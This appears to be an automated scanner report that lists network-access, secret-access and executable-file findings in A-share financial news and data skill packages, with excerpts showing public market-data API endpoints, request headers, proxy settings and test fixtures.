    with ZipFile(path, "w") as z:         z.writestr("[Content_Types].xml", content + "</Types>")         z.writestr("_rels/.rels", '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
  • Network accessline 40
    z.writestr("[Content_Types].xml", content + "</Types>")         z.writestr("_rels/.rels", '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'                    f'<Relationship Id="rId1" Type="{R}/officeDo
  • Network accessline 41
    z.writestr("_rels/.rels", '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
  • Network accessline 166
    "table": '<w:tbl><w:tr><w:tc><w:tcPr><w:cellDel w:id="1"/></w:tcPr>' + paragraph("Old") + '</w:tc></w:tr></w:tbl>',             "custom_xml": '<w:customXmlInsRangeStart w:id="1"/>' + paragraph("New"),             "conflict": '<w:p xmlns:w14
  • Network accessline 167
    "custom_xml": '<w:customXmlInsRangeStart w:id="1"/>' + paragraph("New"),             "conflict": '<w:p xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml"><w14:conflictIns><w:r><w:t>New</w:t></w:r></w14:conflictIns></w:p>',    
  • Network accessline 168
    "conflict": '<w:p xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml"><w14:conflictIns><w:r><w:t>New</w:t></w:r></w14:conflictIns></w:p>',

daymade-financial/ashare-news-fetcher/references/source_apis.md

  • Network accessline 7
    ### 财联社(CLS)电报 - URL: `https://www.cls.cn/api/cache`
  • Network accessline 8
    - URL: `https://www.cls.cn/api/cache`
  • Network accessline 9
    - 方法: GET - 参数: `app=CailianpressWeb`, `name=telegraph`, `os=web`, `sv=8.7.9` - Headers: `Referer: https://www.cls.cn/telegraph`
  • Network accessline 10
    - 参数: `app=CailianpressWeb`, `name=telegraph`, `os=web`, `sv=8.7.9` - Headers: `Referer: https://www.cls.cn/telegraph` - 解析: `data.roll_data[]`;不存在时依次回退 `data.telegraph[]`、`data.roll[]`、`data.depth_list[]`。字段:`title`, `brief`, `content`, `c
  • Network accessline 11
    - Headers: `Referer: https://www.cls.cn/telegraph`
  • Network accessline 15
    ### 华尔街见闻实时快讯 - URL: `https://api-one.wallstcn.com/apiv1/content/lives`
  • Network accessline 16
    - URL: `https://api-one.wallstcn.com/apiv1/content/lives`
  • Network accessline 17
    - 方法: GET - 参数: `channel=global-channel`, `limit={limit}` - Headers: `Referer: https://wallstreetcn.com/`, `Origin: https://wallstreetcn.com`
  • Network accessline 18
    - 参数: `channel=global-channel`, `limit={limit}` - Headers: `Referer: https://wallstreetcn.com/`, `Origin: https://wallstreetcn.com` - 解析: `data.items[]` → `content_text`, `display_time`, `uri`, `is_important`
  • Network accessline 19
    - Headers: `Referer: https://wallstreetcn.com/`, `Origin: https://wallstreetcn.com`
  • Network accessline 22
    ### 金十数据快讯 - URL: `https://flash-api.jin10.com/get_flash_list`
  • Network accessline 23
    - URL: `https://flash-api.jin10.com/get_flash_list`
  • Network accessline 24
    - 方法: GET - 参数: `channel=-8200`, `max_time=` - Headers: `Referer: https://www.jin10.com/`, `Origin: https://www.jin10.com`, `x-app-id: <JIN10_APP_ID>`, `x-version: 1.0.0`
  • Network accessline 25
    - 参数: `channel=-8200`, `max_time=` - Headers: `Referer: https://www.jin10.com/`, `Origin: https://www.jin10.com`, `x-app-id: <JIN10_APP_ID>`, `x-version: 1.0.0` - 解析: `data[]` → `data.content`, `time`, `important`
  • Network accessline 26
    - Headers: `Referer: https://www.jin10.com/`, `Origin: https://www.jin10.com`, `x-app-id: <JIN10_APP_ID>`, `x-version: 1.0.0`
  • Network accessline 30
    ### 新浪 7x24 全球实时快讯 - URL: `https://zhibo.sina.com.cn/api/zhibo/feed`
  • Network accessline 31
    - URL: `https://zhibo.sina.com.cn/api/zhibo/feed`
  • Network accessline 32
    - 方法: GET - 参数: `page=1`, `page_size={limit}`, `zhibo_id=152`, `tag_id=0`, `type=0` - Headers: `Referer: https://finance.sina.com.cn/7x24/`
  • Network accessline 33
    - 参数: `page=1`, `page_size={limit}`, `zhibo_id=152`, `tag_id=0`, `type=0` - Headers: `Referer: https://finance.sina.com.cn/7x24/` - 解析: `result.data.feed.list[]` → `rich_text`, `create_time`, `is_top`, `tag[].name`
  • Network accessline 34
    - Headers: `Referer: https://finance.sina.com.cn/7x24/`
  • Network accessline 37
    ### 东方财富快讯 - URL: `https://np-listapi.eastmoney.com/comm/web/getNewsByColumns`
  • Network accessline 38
    - URL: `https://np-listapi.eastmoney.com/comm/web/getNewsByColumns`
  • Network accessline 47
    | 来源 | URL | 解析方式 | 状态 | |---|---|---|---| | 证监会 | `https://www.csrc.gov.cn/searchList/<channelid>?_isAgg=true&_isJson=true&_pageSize=20&_template=index&page=1` | JSON:`data.results[]` → `title`, `url`, `publishedTimeStr` | **已启用**(channeli
  • Network accessline 48
    |---|---|---|---| | 证监会 | `https://www.csrc.gov.cn/searchList/<channelid>?_isAgg=true&_isJson=true&_pageSize=20&_template=index&page=1` | JSON:`data.results[]` → `title`, `url`, `publishedTimeStr` | **已启用**(channelid `a1a078ee0bc54721ab6b14
  • Network accessline 49
    | 证监会 | `https://www.csrc.gov.cn/searchList/<channelid>?_isAgg=true&_isJson=true&_pageSize=20&_template=index&page=1` | JSON:`data.results[]` → `title`, `url`, `publishedTimeStr` | **已启用**(channelid `a1a078ee0bc54721ab6b148884c784a8` 对应"证监会
  • Network accessline 50
    | 央行 | `https://www.pbc.gov.cn/goutongjiaoliu/113456/113469/index.html` | HTML 列表:`td:has(font.newslist_style)` → `a`, `span.hui12` | 启用 |
  • Network accessline 51
    | 上交所 | `https://www.sse.com.cn/disclosure/announcement/general/` | HTML 列表:`.sse_list_1 dl` → `a`, `span` | 启用 |
  • Network accessline 52
    | 财政部 | `https://www.mof.gov.cn/zhengwuxinxi/caizhengxinwen/` | HTML 列表:`ul.xwfb_listbox li` → `a`, `span` | 启用 |
  • Network accessline 54
    证监会 JSON API 说明: - `channelid` 是 WCM 栏目 ID;`a1a078ee0bc54721ab6b148884c784a8` 为当前"证监会要闻"栏目 ID。 - 返回的 `url` 字段为协议相对链接(如 `//www.csrc.gov.cn/...`),脚本会补全为 `https://...`。
  • Network accessline 55
    - `channelid` 是 WCM 栏目 ID;`a1a078ee0bc54721ab6b148884c784a8` 为当前"证监会要闻"栏目 ID。 - 返回的 `url` 字段为协议相对链接(如 `//www.csrc.gov.cn/...`),脚本会补全为 `https://...`。 - 旧版 HTML 列表 `c100746/common_list.shtml` 已永久 302 重定向至首页,不再使用。
  • Network accessline 56
    - 返回的 `url` 字段为协议相对链接(如 `//www.csrc.gov.cn/...`),脚本会补全为 `https://...`。
  • Network accessline 61
    1. 打开浏览器,访问 `https://www.csrc.gov.cn/` 并进入目标栏目(如"证监会要闻")。
  • Network accessline 71
    - 旧地址 `https://www.csrc.gov.cn/csrc/c100746/common_list.shtml` 已返回 **302** 永久重定向至首页,不再可用。
  • Network accessline 76
    ### 主 API - URL: `https://gbapi.eastmoney.com/stkpost/api/v1/post/listbystock`
  • Network accessline 77
    - URL: `https://gbapi.eastmoney.com/stkpost/api/v1/post/listbystock`
  • Network accessline 82
    ### HTML 备用 - URL: `https://guba.eastmoney.com/list,{code}.html`
  • Network accessline 83
    - URL: `https://guba.eastmoney.com/list,{code}.html`

daymade-financial/ashare-news-fetcher/scripts/fetch_intel.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 167
    "url": "https://www.csrc.gov.cn/searchList/a1a078ee0bc54721ab6b148884c784a8?_isAgg=true&_isJson=true&_pageSize=20&_template=index&page=1",
  • Network accessline 178
    "pboc": {             "name": "央行",             "url": "https://www.pbc.gov.cn/goutongjiaoliu/113456/113469/index.html",
  • Network accessline 179
    "name": "央行",             "url": "https://www.pbc.gov.cn/goutongjiaoliu/113456/113469/index.html",             "impact_category": "monetary",
  • Network accessline 180
    "url": "https://www.pbc.gov.cn/goutongjiaoliu/113456/113469/index.html",
  • Network accessline 189
    "sse": {             "name": "上交所",             "url": "https://www.sse.com.cn/disclosure/announcement/general/",
  • Network accessline 190
    "name": "上交所",             "url": "https://www.sse.com.cn/disclosure/announcement/general/",             "impact_category": "exchange",
  • Network accessline 191
    "url": "https://www.sse.com.cn/disclosure/announcement/general/",
  • Network accessline 200
    "mof": {             "name": "财政部",             "url": "https://www.mof.gov.cn/zhengwuxinxi/caizhengxinwen/",
  • Network accessline 201
    "name": "财政部",             "url": "https://www.mof.gov.cn/zhengwuxinxi/caizhengxinwen/",             "impact_category": "fiscal",
  • Network accessline 202
    "url": "https://www.mof.gov.cn/zhengwuxinxi/caizhengxinwen/",
  • Network accessline 297
    def _create_session(timeout: tuple[float, float] = (5.0, 15.0)) -> requests.Session:     session = requests.Session()
  • Network accessline 298
    session = requests.Session()
  • Network accessline 517
    resp = self._session.get(                 "https://www.cls.cn/api/cache",
  • Network accessline 518
    "https://www.cls.cn/api/cache",
  • Network accessline 523
    "sv": "8.7.9",                 },                 headers={"Referer": "https://www.cls.cn/telegraph"},
  • Network accessline 524
    },                 headers={"Referer": "https://www.cls.cn/telegraph"},             )
  • Network accessline 525
    headers={"Referer": "https://www.cls.cn/telegraph"},
  • Network accessline 568
    item_id = item.get("id", "")                 detail_url = (                     f"https://www.cls.cn/detail/{item_id}" if item_id else ""
  • Network accessline 569
    detail_url = (                     f"https://www.cls.cn/detail/{item_id}" if item_id else ""                 )
  • Network accessline 570
    f"https://www.cls.cn/detail/{item_id}" if item_id else ""
  • Network accessline 595
    try:             resp = self._session.get(                 "https://api-one.wallstcn.com/apiv1/content/lives",
  • Network accessline 596
    resp = self._session.get(                 "https://api-one.wallstcn.com/apiv1/content/lives",                 params={"channel": "global-channel", "limit": str(limit)},
  • Network accessline 597
    "https://api-one.wallstcn.com/apiv1/content/lives",
  • Network accessline 598
    params={"channel": "global-channel", "limit": str(limit)},                 headers={                     "Referer": "https://wallstreetcn.com/",
  • Network accessline 599
    headers={                     "Referer": "https://wallstreetcn.com/",                     "Origin": "https://wallstreetcn.com",
  • Network accessline 600
    "Referer": "https://wallstreetcn.com/",
  • Network accessline 601
    "Origin": "https://wallstreetcn.com",
  • Network accessline 623
    source="wallstreetcn",                         publish_time=pub_time,                         url=f"https://wallstreetcn.com/articles/{uri}" if uri else "",
  • Network accessline 624
    publish_time=pub_time,                         url=f"https://wallstreetcn.com/articles/{uri}" if uri else "",                         is_important=item.get("is_important") in (True, 1, "1"),
  • Network accessline 625
    url=f"https://wallstreetcn.com/articles/{uri}" if uri else "",
  • Access to secretsline 637
    [Credential-related source omitted]
  • Network accessline 641
    try:             resp = self._session.get(                 "https://flash-api.jin10.com/get_flash_list",
  • Network accessline 642
    resp = self._session.get(                 "https://flash-api.jin10.com/get_flash_list",                 params={"max_time": "", "channel": "-8200"},
  • Network accessline 643
    "https://flash-api.jin10.com/get_flash_list",
  • Network accessline 644
    params={"max_time": "", "channel": "-8200"},                 headers={                     "Referer": "https://www.jin10.com/",
  • Network accessline 645
    headers={                     "Referer": "https://www.jin10.com/",                     "Origin": "https://www.jin10.com",
  • Network accessline 646
    "Referer": "https://www.jin10.com/",
  • Network accessline 647
    "Origin": "https://www.jin10.com",
  • Network accessline 684
    try:             resp = self._session.get(                 "https://zhibo.sina.com.cn/api/zhibo/feed",
  • Network accessline 685
    resp = self._session.get(                 "https://zhibo.sina.com.cn/api/zhibo/feed",                 params={
  • Network accessline 686
    "https://zhibo.sina.com.cn/api/zhibo/feed",
  • Network accessline 692
    "type": "0",                 },                 headers={"Referer": "https://finance.sina.com.cn/7x24/"},
  • Network accessline 693
    },                 headers={"Referer": "https://finance.sina.com.cn/7x24/"},             )
  • Network accessline 694
    headers={"Referer": "https://finance.sina.com.cn/7x24/"},
  • Network accessline 731
    self._polite_sleep()         try:             url = "https://np-listapi.eastmoney.com/comm/web/getNewsByColumns"
  • Network accessline 732
    try:             url = "https://np-listapi.eastmoney.com/comm/web/getNewsByColumns"             params = {
  • Network accessline 733
    url = "https://np-listapi.eastmoney.com/comm/web/getNewsByColumns"
  • Network accessline 1004
    API_URL = "https://gbapi.eastmoney.com/stkpost/api/v1/post/listbystock"
  • Network accessline 1005
    BASE_URL = "https://guba.eastmoney.com"
  • Network accessline 1025
    def fetch(self, symbol: str) -> GubaMetrics | None:
  • Network accessline 1056
    results: list[GubaMetrics] = []         for symbol in symbols:             metrics = self.fetch(symbol)
  • Network accessline 1057
    for symbol in symbols:             metrics = self.fetch(symbol)             if metrics is not None:
  • Network accessline 1058
    metrics = self.fetch(symbol)
  • Network accessline 1383
    title=title,         summary=summary,         url=f"https://guba.eastmoney.com/list,{metrics.symbol}.html",
  • Network accessline 1384
    summary=summary,         url=f"https://guba.eastmoney.com/list,{metrics.symbol}.html",         category="social",
  • Network accessline 1385
    url=f"https://guba.eastmoney.com/list,{metrics.symbol}.html",

daymade-financial/ashare-news-fetcher/tests/test_fetch_intel.py

  • Executable scriptline 1
    Executable file
  • Network accessline 246
    title="Test title",             summary="summary",             url="https://example.com",
  • Network accessline 247
    summary="summary",             url="https://example.com",             category="market",
  • Network accessline 248
    url="https://example.com",
  • Network accessline 265
    source_name="n1",             title="t1",             url="https://a.com",
  • Network accessline 266
    title="t1",             url="https://a.com",             published_at="2026-06-26 12:00:00",
  • Network accessline 267
    url="https://a.com",
  • Network accessline 272
    source_name="n1",             title="t1",             url="https://a.com",
  • Network accessline 273
    title="t1",             url="https://a.com",             published_at="2026-06-26 12:00:00",
  • Network accessline 274
    url="https://a.com",
  • Network accessline 283
    source_name="n1",             title="t1",             url="https://a.com",
  • Network accessline 284
    title="t1",             url="https://a.com",             published_at="2026-06-26 12:00:00",
  • Network accessline 285
    url="https://a.com",
  • Network accessline 290
    source_name="n1",             title="t2",             url="https://a.com",
  • Network accessline 291
    title="t2",             url="https://a.com",             published_at="2026-06-26 12:00:00",
  • Network accessline 292
    url="https://a.com",
  • Network accessline 300
    source_name="n1",             title="t1",             url="https://a.com",
  • Network accessline 301
    title="t1",             url="https://a.com",             published_at="2026-06-26 12:00:00",
  • Network accessline 302
    url="https://a.com",
  • Network accessline 307
    source_name="n1",             title="t1",             url="https://a.com",
  • Network accessline 308
    title="t1",             url="https://a.com",             published_at="2026-06-26 13:00:00",
  • Network accessline 309
    url="https://a.com",
  • Network accessline 318
    title="Test title",             summary="summary",             url="https://example.com",
  • Network accessline 319
    summary="summary",             url="https://example.com",             category="market",
  • Network accessline 320
    url="https://example.com",
  • Network accessline 394
    fetcher = GubaFetcher()         monkeypatch.setattr(fetcher, "_fetch_posts", lambda _code: [])         assert fetcher.fetch("600519") is None
  • Network accessline 396
    assert fetcher.fetch("600519") is None
  • Network accessline 542
    source_name="n1",             title="t1",             url="https://a.com",
  • Network accessline 543
    title="t1",             url="https://a.com",             published_at="",
  • Network accessline 544
    url="https://a.com",
  • Network accessline 552
    source_name="n1",             title="t1",             url="https://a.com",
  • Network accessline 553
    title="t1",             url="https://a.com",             published_at="2026-06-26 12:00:00",
  • Network accessline 554
    url="https://a.com",
  • Network accessline 678
    source="sina",             publish_time=datetime(2026, 6, 26, 12, 0, 0, tzinfo=UTC),             url="https://example.com",
  • Network accessline 679
    publish_time=datetime(2026, 6, 26, 12, 0, 0, tzinfo=UTC),             url="https://example.com",             is_important=True,
  • Network accessline 680
    url="https://example.com",
  • Network accessline 717
    source="mof",             source_name="财政部",             url="https://mof.gov.cn",
  • Network accessline 718
    source_name="财政部",             url="https://mof.gov.cn",             date="2026-06-26",
  • Network accessline 719
    url="https://mof.gov.cn",
  • Network accessline 949
    fetcher = GubaFetcher()         monkeypatch.setattr(fetcher, "_fetch_posts", lambda _code: (_ for _ in ()).throw(RuntimeError("boom")))         assert fetcher.fetch("600519") is None
  • Network accessline 951
    assert fetcher.fetch("600519") is None

daymade-financial/ashare-news-fetcher/tests/test_fetch_intel_network.py

  • Executable scriptline 1
    Executable file
  • Network accessline 45
    def raise_for_status(self) -> None:         if self.status_code >= 400:             raise requests.HTTPError(f"HTTP {self.status_code}")
  • Network accessline 47
    raise requests.HTTPError(f"HTTP {self.status_code}")
  • Network accessline 105
    assert len(items) == 2         assert session.calls[0][0].startswith("https://www.pbc.gov.cn/")
  • Network accessline 106
    assert session.calls[0][0].startswith("https://www.pbc.gov.cn/")
  • Network accessline 107
    assert items[0].title == "央行降准0.5个百分点"         assert items[0].url.startswith("https://www.pbc.gov.cn/")         assert items[0].is_high_impact is True
  • Network accessline 108
    assert items[0].url.startswith("https://www.pbc.gov.cn/")
  • Network accessline 138
    assert len(items) == 2         assert session.calls[0][0].startswith("https://www.csrc.gov.cn/searchList/")
  • Network accessline 139
    assert session.calls[0][0].startswith("https://www.csrc.gov.cn/searchList/")
  • Network accessline 147
    assert items[0].url.startswith("https://www.csrc.gov.cn/")
  • Network accessline 148
    assert items[1].url.startswith("https://www.csrc.gov.cn/")
  • Network accessline 187
    assert items[0].url == "https://www.csrc.gov.cn/searchList/relative/path.html"
  • Network accessline 232
    assert len(items) == 2         assert session.calls[0][0].startswith("https://api-one.wallstcn.com/")
  • Network accessline 233
    assert session.calls[0][0].startswith("https://api-one.wallstcn.com/")
  • Network accessline 234
    assert items[0].title == "Test live content"         assert items[0].url == "https://wallstreetcn.com/articles/1"         assert items[0].is_important is True
  • Network accessline 235
    assert items[0].url == "https://wallstreetcn.com/articles/1"
  • Network accessline 261
    assert len(items) == 1         call_url, call_kwargs = session.calls[0]         assert call_url.startswith("https://www.cls.cn/api/cache")
  • Network accessline 262
    call_url, call_kwargs = session.calls[0]         assert call_url.startswith("https://www.cls.cn/api/cache")         assert call_kwargs.get("params", {}).get("name") == "telegraph"
  • Network accessline 263
    assert call_url.startswith("https://www.cls.cn/api/cache")
  • Network accessline 277
    "summary": "digest text",                         "showTime": "2026-06-26 17:00:00",                         "uniqueUrl": "https://finance.eastmoney.com/a/1.html",
  • Network accessline 278
    "showTime": "2026-06-26 17:00:00",                         "uniqueUrl": "https://finance.eastmoney.com/a/1.html",                         "mediaName": "市场",
  • Network accessline 279
    "uniqueUrl": "https://finance.eastmoney.com/a/1.html",
  • Network accessline 289
    assert len(items) == 1         call_url, call_kwargs = session.calls[0]         assert call_url.startswith("https://np-listapi.eastmoney.com/")
  • Network accessline 290
    call_url, call_kwargs = session.calls[0]         assert call_url.startswith("https://np-listapi.eastmoney.com/")         assert call_kwargs.get("params", {}).get("req_trace")
  • Network accessline 291
    assert call_url.startswith("https://np-listapi.eastmoney.com/")
  • Network accessline 403
    "summary": "",                                     "showTime": "2026-06-24 10:00:00",                                     "uniqueUrl": "https://em.com/1.html",
  • Network accessline 404
    "showTime": "2026-06-24 10:00:00",                                     "uniqueUrl": "https://em.com/1.html",                                     "mediaName": "",
  • Network accessline 405
    "uniqueUrl": "https://em.com/1.html",

daymade-financial/bigdata-skill/SKILL.md

  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 81
    # Behind a slow/blocked PyPI (e.g. mainland China) add a mirror, and unset any # outbound proxy for the install step so uv reaches the index directly: #   --index-url https://pypi.tuna.tsinghua.edu.cn/simple
  • Network accessline 81
    # Behind a slow/blocked PyPI (e.g. mainland China) add a mirror, and unset any # outbound proxy for the install step so uv reaches the index directly: #   --index-url https://pypi.tuna.tsinghua.edu.cn/simple
  • Network accessline 83
    #   --index-url https://pypi.tuna.tsinghua.edu.cn/simple
  • Network accessline 83
    #   --index-url https://pypi.tuna.tsinghua.edu.cn/simple
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 225
    [Credential-related source omitted]
  • Access to secretsline 225
    [Credential-related source omitted]

daymade-financial/bigdata-skill/references/escape_hatch_architecture.md

  • Network accessline 10
    | **MCP server** | A chat-optimized wrapper | Readable prose + pre-synthesized tearsheets (incl. an aggregate sentiment score and an estimates summary). **Does not expose** numeric per-chunk sentiment, entity character-spans, fiscal-period 
  • Network accessline 11
    | **SDK** (`bigdata_client.Bigdata`) | Official Python client | High-level `search`, `knowledge_graph`, `subscription`, `chat`, `watchlists`, `uploads`. | | **`bd._api`** (`BigdataConnection`) | The SDK's own transport | Holds `bd._api.http
  • Network accessline 12
    | **`bd._api`** (`BigdataConnection`) | The SDK's own transport | Holds `bd._api.http`, a `RateLimitedHTTPWrapper` with `api_url='https://api.bigdata.com/'`, carrying the JWT auth + proxy already. |
  • Network accessline 27
    - `bd._api` is a `bigdata_client.connection.BigdataConnection`. - It holds `bd._api.http` (`RateLimitedHTTPWrapper`), `api_url='https://api.bigdata.com/'`.
  • Network accessline 28
    - It holds `bd._api.http` (`RateLimitedHTTPWrapper`), `api_url='https://api.bigdata.com/'`.

daymade-financial/bigdata-skill/scripts/bigdata_toolkit/__init__.py

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    >>> import os >>> os.environ["BIGDATA_API_KEY"] = "bd_v2_xxx"        # doctest: +SKIP >>> os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8080"  # 仅在需要出站代理时  # doctest: +SKIP
  • Network accessline 12
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 13
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]

daymade-financial/bigdata-skill/scripts/bigdata_toolkit/client.py

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    2. **ad hoc REST 逃生舱**(`self.http`)—— `bd._api.http`    (`RateLimitedHTTPWrapper`,base url = ``https://api.bigdata.com/``)。
  • Network accessline 8
    (`RateLimitedHTTPWrapper`,base url = ``https://api.bigdata.com/``)。
  • Network accessline 23
    ----------------------------------------- - ``bd._api`` 是 ``bigdata_client.connection.BigdataConnection``。 - 它持有 ``bd._api.http``(``RateLimitedHTTPWrapper``),``api_url='https://api.bigdata.com/'``。
  • Network accessline 24
    - ``bd._api`` 是 ``bigdata_client.connection.BigdataConnection``。 - 它持有 ``bd._api.http``(``RateLimitedHTTPWrapper``),``api_url='https://api.bigdata.com/'``。 - SDK 高层方法(query_chunks / by_ids / autosuggest / get_my_quota ...)
  • Network accessline 25
    - 它持有 ``bd._api.http``(``RateLimitedHTTPWrapper``),``api_url='https://api.bigdata.com/'``。
  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 87
    >>> import os     >>> os.environ["BIGDATA_API_KEY"] = "bd_v2_xxx"     >>> os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8080"  # 仅在需要出站代理时
  • Network accessline 88
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 89
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Network accessline 96
    API_BASE = "https://api.bigdata.com/"
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]

daymade-financial/bigdata-skill/scripts/bigdata_toolkit/cost.py

  • Executable scriptline 1
    Executable file

daymade-financial/bigdata-skill/scripts/bigdata_toolkit/kg.py

  • Executable scriptline 1
    Executable file

daymade-financial/bigdata-skill/scripts/bigdata_toolkit/rest_ext.py

  • Executable scriptline 1
    Executable file
  • Network accessline 568
    for _ in range(5):             try:                 resp = requests.put(
  • Network accessline 569
    try:                 resp = requests.put(                     presigned_url,
  • Network accessline 570
    resp = requests.put(
  • Network accessline 590
    resp = requests.get(output_file_url, timeout=120)

daymade-financial/bigdata-skill/scripts/bigdata_toolkit/retry.py

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    为什么 marker 用子串匹配 ------------------------ 这些异常跨 ``ssl`` / ``urllib3`` / ``requests`` / ``http.client`` 多层包装,
  • Network accessline 17
    ------------------------ 这些异常跨 ``ssl`` / ``urllib3`` / ``requests`` / ``http.client`` 多层包装, 类型不统一但 ``str(e)`` 里稳定带这些词。子串匹配比 except 一堆具体异常类
  • Network accessline 18
    这些异常跨 ``ssl`` / ``urllib3`` / ``requests`` / ``http.client`` 多层包装,

daymade-financial/bigdata-skill/scripts/bigdata_toolkit/search.py

  • Executable scriptline 1
    Executable file

daymade-financial/bigdata-skill/scripts/probe_example.py

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]
  • Network accessline 11
    export HTTPS_PROXY=http://127.0.0.1:8080    # 仅在需要出站代理时
  • Access to secretsline 59
    [Credential-related source omitted]

daymade-financial/daymade-sector-research/SKILL.md

  • Network accessline 99
    - 国内站点(东财/新浪/巨潮)curl/脚本必须去代理:`env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY` - Python 用 `uv run --no-project` 或系统 python3(脚本 stdlib only) - 新浪快照返回 GBK 编码,需 Referer `https://finance.sina.com.cn`;东财公告
  • Network accessline 99
    - 国内站点(东财/新浪/巨潮)curl/脚本必须去代理:`env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY` - Python 用 `uv run --no-project` 或系统 python3(脚本 stdlib only) - 新浪快照返回 GBK 编码,需 Referer `https://finance.sina.com.cn`;东财公告
  • Network accessline 100
    - Python 用 `uv run --no-project` 或系统 python3(脚本 stdlib only) - 新浪快照返回 GBK 编码,需 Referer `https://finance.sina.com.cn`;东财公告接口可不带 Referer(实测);北交所公告不单独走 bse.cn(官网接口三重失效,走巨潮 gfbj 通道) - 若 push2 域名解析进 198.18.0.0/15(代理 TUN fake-IP),去代理无效,须修代理分流或用 `
  • Network accessline 100
    - Python 用 `uv run --no-project` 或系统 python3(脚本 stdlib only) - 新浪快照返回 GBK 编码,需 Referer `https://finance.sina.com.cn`;东财公告接口可不带 Referer(实测);北交所公告不单独走 bse.cn(官网接口三重失效,走巨潮 gfbj 通道) - 若 push2 域名解析进 198.18.0.0/15(代理 TUN fake-IP),去代理无效,须修代理分流或用 `
  • Network accessline 101
    - 新浪快照返回 GBK 编码,需 Referer `https://finance.sina.com.cn`;东财公告接口可不带 Referer(实测);北交所公告不单独走 bse.cn(官网接口三重失效,走巨潮 gfbj 通道)
  • Network accessline 101
    - 新浪快照返回 GBK 编码,需 Referer `https://finance.sina.com.cn`;东财公告接口可不带 Referer(实测);北交所公告不单独走 bse.cn(官网接口三重失效,走巨潮 gfbj 通道)
  • Network accessline 102
    - 若 push2 域名解析进 198.18.0.0/15(代理 TUN fake-IP),去代理无效,须修代理分流或用 `curl --resolve` 直连真实 IP(见 references/market-data.md)
  • Network accessline 102
    - 若 push2 域名解析进 198.18.0.0/15(代理 TUN fake-IP),去代理无效,须修代理分流或用 `curl --resolve` 直连真实 IP(见 references/market-data.md)

daymade-financial/daymade-sector-research/references/cninfo-announcements.md

  • Network accessline 6
    POST http://www.cninfo.com.cn/new/hisAnnouncement/query
  • Network accessline 12
    - 返回 JSON:`totalAnnouncement` 总数、`announcements` 数组(`announcementTitle` / `announcementTime` 毫秒时间戳 / `adjunctUrl` / `announcementTypeName`) - **announcementTime 是毫秒时间戳,按北京时间(UTC+8)换算**成 `YYYY-MM-DD`,不是 UTC - 公告 URL = `http://static.cninfo.c
  • Network accessline 13
    - **announcementTime 是毫秒时间戳,按北京时间(UTC+8)换算**成 `YYYY-MM-DD`,不是 UTC - 公告 URL = `http://static.cninfo.com.cn/` + `adjunctUrl` - 深市 column=szse、沪市 column=sse
  • Network accessline 14
    - 公告 URL = `http://static.cninfo.com.cn/` + `adjunctUrl`
  • Network accessline 31
    POST http://www.cninfo.com.cn/new/information/topSearch/query
  • Network accessline 54
    GET https://np-anotice-stock.eastmoney.com/api/security/ann
  • Network accessline 58
    - 返回 `data.list[]`:`title` / `notice_date`(YYYY-MM-DD HH:mm:ss)/ `art_code` / `columns[]`(公告类型数组) - **⚠<U+FE0F> 类型在 `columns[0].column_name` 里,顶层 `column_name` 字段恒为 null**(2026-08-13 实测)——多类型时多个 columns 元素用「、」连接(如「股东大会决议公告、高管人员任职变动」) - 公告 URL = `h
  • Network accessline 59
    - **⚠<U+FE0F> 类型在 `columns[0].column_name` 里,顶层 `column_name` 字段恒为 null**(2026-08-13 实测)——多类型时多个 columns 元素用「、」连接(如「股东大会决议公告、高管人员任职变动」) - 公告 URL = `https://data.eastmoney.com/notices/detail/<代码>/<art_code>.html` - **巨潮 `announcementTypeName` 常为 nu
  • Network accessline 60
    - 公告 URL = `https://data.eastmoney.com/notices/detail/<代码>/<art_code>.html`
  • Network accessline 62
    - **投资者关系活动记录表:两源覆盖不完全一致**(2026-08-13 实测)——002437 的 07-23 投资者关系管理信息仅东财有;920946 的 05-14「投资者关系活动记录表」巨潮有收录(在 90 天宽窗之外、约 135 天窗口可得——巨潮也收录部分投关表)。东财独有条目补并集;来源区分看 URL 域名(cninfo.com.cn vs data.eastmoney.com),无需单独来源列 - 响应 `data.total_hits` 为总数,`page
  • Network accessline 64
    - 2026-08-13 实测:东财公告接口可不带 Referer(带 `https://data.eastmoney.com/` 亦可)
  • Network accessline 75
    POST https://www.bse.cn/disclosureInfoController/initDisclosureList.do

daymade-financial/daymade-sector-research/references/market-data.md

  • Network accessline 6
    GET https://push2.eastmoney.com/api/qt/clist/get
  • Network accessline 12
    - **⚠<U+FE0F> pz 请求 >100 时服务端也只回 100 条**(2026-08-13 实测:pz=500 实际 diff 长度 100)——必须 pz=100 + 按 `len(已取) >= total` 翻页,不能按「单页 < pz 即止」判断 - 板块代码用东财 BK 前缀:BK1216 = 医药生物。其他板块代码从东财行情页 URL 或板块列表接口获取 - 需要 Referer: `https://quote.eastmoney.com/`
  • Network accessline 14
    - 需要 Referer: `https://quote.eastmoney.com/`
